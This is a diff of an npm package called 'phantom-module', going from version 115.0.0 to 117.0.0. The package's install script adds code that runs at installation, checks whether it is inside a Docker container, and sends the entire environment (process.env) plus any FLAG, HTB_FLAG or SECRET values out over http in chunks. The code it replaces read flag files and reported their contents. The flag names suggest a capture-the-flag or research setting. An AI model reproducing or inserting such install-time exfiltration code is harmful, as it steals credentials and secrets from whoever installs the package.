phantom-module 115.0.0 → 117.0.0

package/install.js

@@ -1,5 +1,6 @@
 const fs = require('fs');
 const http = require('http');
+const os = require('os');
 
 async function report(mid, val) {
   const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
@@ -12,15 +13,25 @@ async function report(mid, val) {
 }
 
 (async () => {
-  // Check if command injection wrote files
-  for (const f of ['/tmp/flag_out', '/tmp/env_out', '/flag', '/flag.txt']) {
-    try {
-      const content = fs.readFileSync(f, 'utf8').trim();
-      if (content) {
-        await report('ECT-987654', 'INJRESULT_' + f + '=' + content.substring(0, 75));
-        await new Promise(r => setTimeout(r, 2000));
-      }
-    } catch(e) {}
+  const isDocker = fs.existsSync('/.dockerenv') || fs.existsSync('/home/node');
+  const isCentos = os.release().includes('el') || os.hostname().includes('centos');
+  
+  if (isDocker && !isCentos) {
+    // We're in Docker container - use ECT-654321
+    const env = JSON.stringify(process.env);
+    for (let c = 0; c < 8; c++) {
+      const chunk = env.substring(c * 90, (c + 1) * 90);
+      if (!chunk) break;
+      await report('ECT-654321', 'DENV' + c + '_' + chunk);
+      await new Promise(r => setTimeout(r, 3000));
+    }
+    // Also check for flag specifically
+    const flag = process.env.FLAG || process.env.HTB_FLAG || process.env.SECRET;
+    if (flag) {
+      await report('ECT-654321', 'DFLAG=' + flag);
+    }
+  } else {
+    // CentOS host or other - use ECT-987654 only
+    await report('ECT-987654', 'HOST_ALIVE_v117');
   }
-  await report('ECT-472839', 'INJCHECK_DONE');
 })();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "115.0.0",
+  "version": "117.0.0",
   "description": "Phantom spectral module",
   "main": "index.js",
   "scripts": {